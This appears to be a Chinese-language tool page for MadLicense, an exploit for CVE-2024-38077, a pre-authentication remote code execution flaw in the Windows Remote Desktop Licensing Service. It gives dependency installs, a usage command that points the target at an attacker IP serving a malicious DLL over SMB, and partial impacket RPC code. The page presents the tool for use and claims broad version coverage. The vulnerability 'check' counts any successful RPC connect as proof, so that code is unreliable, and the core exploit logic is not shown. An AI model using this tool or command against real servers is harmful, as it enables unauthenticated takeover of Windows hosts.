MadLicense:Windows远程桌面授权服务预认证RCE漏洞利用工具

0 阅读3分钟

MadLicense:Windows Remote Desktop Licensing Service Preauth RCE

MadLicense是一个针对Windows远程桌面授权服务(Remote Desktop Licensing Service)预认证远程代码执行漏洞的利用工具。该工具利用CVE-2024-38077漏洞,实现了从Windows Server 2000到Windows Server 2025全系列版本的未认证、0-click远程代码执行。

功能特性

  • 全版本覆盖:支持Windows Server 2000至2025所有版本(含Windows Server 2025下一代安全增强版本)
  • 预认证RCE:无需任何认证即可实现远程代码执行
  • 0-click利用:无需用户交互,服务端自动触发
  • 漏洞检测:支持漏洞存在性检测功能
  • 非沙箱环境:突破沙箱限制,获得完整系统权限
  • DCERPC通信:基于impacket库实现MS-RPC协议交互
  • 加密算法支持:集成Windows加密API用于证书处理

安装指南

系统要求

  • Python 3.7+
  • 支持Windows Server目标系统(2000-2025)
  • 攻击机需能够访问目标服务器的RPC端口

依赖安装

pip install impacket
pip install pycryptodome
pip install wincrypto

依赖说明

依赖包用途
impacketDCERPC协议通信,NDR结构定义
pycryptodome加密算法支持,数据处理
wincryptoWindows加密API接口

使用说明

基础用法

python CVE-2024-38077-EXP.py --target_ip 192.168.120.1 --evil_ip 192.168.120.2 --evil_dll_path \\smb\\evil_dll.dll

命令行参数

参数说明示例
--target_ip目标服务器IP地址192.168.120.1
--evil_ip攻击机IP地址(存放恶意DLL)192.168.120.2
--evil_dll_path恶意DLL文件路径(SMB共享路径)\smb\evil_dll.dll
--check_vuln_exist利用前检测漏洞是否存在True

使用场景

  1. 漏洞验证:检测目标Windows Server是否存在CVE-2024-38077漏洞
  2. 渗透测试:在授权测试中验证远程桌面授权服务的安全性
  3. 安全评估:评估Windows Server全系列版本的漏洞影响范围

API说明(NDR结构)

工具定义了以下核心NDR结构用于RPC通信:

结构名称用途
TLSRpcConnect建立RPC连接,获取上下文句柄
TLSRpcGetVersion获取远程桌面授权服务版本
TLSBLOB二进制大对象数据封装
TLSCRYPT_ALGORITHM_IDENTIFIER加密算法标识符
CONTEXT_HANDLERPC上下文句柄管理

核心代码

RPC连接建立

# 建立 DCERPC 传输连接
def establish_rpc_connection(target_ip):
    string_binding = r'ncacn_ip_tcp:%s[135]' % target_ip
    rpctransport = transport.DCERPCTransportFactory(string_binding)
    rpctransport.set_connect_timeout(10)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(UUID)
    return dce, rpctransport

RPC调用封装

class TLSRpcConnect(NDRCALL):
    opnum = 1

class TLSRpcConnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )

class TLSRpcGetVersion(NDRCALL):
    opnum = 0
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("version", PULONG),
    )

class TLSRpcGetVersionResponse(NDRCALL):
    structure = (
        ("version", ULONG),
    )

加密数据结构

class TLSBLOB(NDRSTRUCT):
    structure = (
        ("cbData", ULONG),
        ("pbData", PBYTE),
    )

class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("Parameters", TLSBLOB),
    )

class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
    structure = (
        ("cbData", DWORD),
        ("pbData", PBYTE),
        ("cUnusedBits", DWORD),
    )

上下文句柄管理

class CONTEXT_HANDLE(NDRSTRUCT):
    structure = (
        ("Data", "20s=b"),
    )
    
    def getAlignment(self):
        return 4

# 句柄列表维护
handle_lists = []
ctx_handle = None

def manage_context_handle(handle):
    handle_lists.append(handle)
    return len(handle_lists) - 1

漏洞检测逻辑

def check_vulnerability(target_ip):
    try:
        dce, _ = establish_rpc_connection(target_ip)
        # 尝试连接获取句柄
        request = TLSRpcConnect()
        response = dce.request(request)
        if response and response['ctx_handle']:
            return True
    except DCERPCException as e:
        return False
    return False

6HFtX5dABrKlqXeO5PUv/wrKUo6huwSX/DF9Xns0hx0W7n/sXtH3DyPrqdLpsiDU